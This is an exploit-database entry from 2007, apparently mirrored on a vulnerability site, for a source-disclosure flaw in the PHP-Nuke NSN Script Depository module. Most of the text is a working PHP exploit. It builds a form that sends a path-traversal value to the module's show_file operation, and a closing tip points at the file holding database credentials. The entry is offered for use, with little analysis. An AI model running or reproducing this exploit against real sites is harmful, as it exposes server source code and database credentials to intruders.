PHP-Nuke NSN Script Depository 1.0.0 Remote Source Disclosure Vuln

🗓️ 28 Nov 2007 00:00:00Reported by RootType
PHP-Nuke NSN Script Depository 1.0.0 Remote Source Disclosure Vulnerabilit

                                                ---------------------------------------------------------------
&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;
/_&nbsp;&nbsp;&nbsp;|&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__\_____&nbsp;&nbsp;\&nbsp;&nbsp;_____/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;|_&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|&nbsp;_(__&nbsp;&nbsp;&lt;_/&nbsp;___\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;______&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;__\
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;/_____/&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;&nbsp;
&nbsp;|___|___|&nbsp;&nbsp;/\__|&nbsp;&nbsp;/______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|___||__|&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\______|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
---------------------------------------------------------------

Http://www.inj3ct-it.org&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Staff[at]inj3ct-it[dot]org&nbsp;

---------------------------------------------------------------

PHP-Nuke&nbsp;NSN&nbsp;Script&nbsp;Depository&nbsp;module&nbsp;&lt;=&nbsp;1.0.0&nbsp;Remote&nbsp;Source&nbsp;Disclosure

---------------------------------------------------------------

#By&nbsp;KiNgOfThEwOrLd

---------------------------------------------------------------
Exploit

&lt;?
/*
Usage:&nbsp;31337.php?targ=http://[target]/[phpnuke_path]&amp;file=[file]
Example:&nbsp;31337.php?targ=http://victim.com/phpnuke&amp;file=conf/settings.php
*/
$targ&nbsp;=&nbsp;$_GET['targ'];
$file&nbsp;=&nbsp;$_GET['file'];
echo&nbsp;'
&lt;form&nbsp;action=&quot;$targ/modules.php?name=Script_Depository&quot;&nbsp;method=&quot;post&quot;&gt;
&lt;input&nbsp;name=&quot;show_file&quot;&nbsp;value=&quot;/../../$file&quot;&nbsp;type=&quot;hidden&quot;&gt;
&lt;input&nbsp;value=&quot;show_file&quot;&nbsp;name=&quot;op&quot;&nbsp;type=&quot;hidden&quot;&gt;
&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;Show&nbsp;Source&quot;&gt;
&lt;/form&gt;';
?&gt;

Trick

In&nbsp;conf/settings.php&nbsp;there&nbsp;are&nbsp;the&nbsp;database&nbsp;credentials&nbsp;&nbsp;;)&nbsp;
---------------------------------------------------------------
28 Nov 2007 00:00Current
7.1High risk
Vulners AI Score7.1